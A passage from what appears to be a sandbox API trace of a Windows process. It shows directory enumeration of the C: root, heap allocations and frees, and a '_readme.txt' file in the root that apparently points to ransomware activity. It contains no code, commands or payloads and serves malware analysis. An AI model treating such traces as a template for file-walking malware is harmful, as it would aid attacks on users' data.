ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0266.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab808 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0266.112] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0266.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.113] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.113] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16c) returned 0x2faf350 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3066000 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3066028 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30816d8 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x6f09b8 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x6f6730 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f140 [0266.113] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab7d0 | out: hHeap=0x640000) returned 1 [0266.113] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.113] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f118 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab808 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b6fa8 | out: hHeap=0x640000) returned 1 [0266.114] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.114] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0266.114] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.114] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081690 [0266.114] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081768 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081690 | out: hHeap=0x640000) returned 1 [0266.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.114] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7f76a30, ftCreationTime.dwHighDateTime=0x1d50369, ftLastAccessTime.dwLowDateTime=0xf7f76a30, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf7f76a30, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0266.114] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.115] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.115] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.115] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.115] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.115] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.115] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x214) returned 0x71ce58 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab808 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f118 [0266.115] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0f0 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7175a0 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c10 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab7d0 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c38 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c60 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081690 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3066000 | out: hHeap=0x640000) returned 1 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3066028 | out: hHeap=0x640000) returned 1 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30816d8 | out: hHeap=0x640000) returned 1 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f09b8 | out: hHeap=0x640000) returned 1 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f6730 | out: hHeap=0x640000) returned 1 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f140 | out: hHeap=0x640000) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081768 | out: hHeap=0x640000) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2faf350 | out: hHeap=0x640000) returned 1 [0266.117] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.117] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xf8ac52b0, ftCreationTime.dwHighDateTime=0x1d50369, ftLastAccessTime.dwLowDateTime=0xf8ac52b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8ac52b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x48d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0266.117] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xf8ac52b0, ftCreationTime.dwHighDateTime=0x1d50369, ftLastAccessTime.dwLowDateTime=0xf8ac52b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8ac52b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x48d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0266.117] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.117] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.118] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.122] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.122] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.122] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 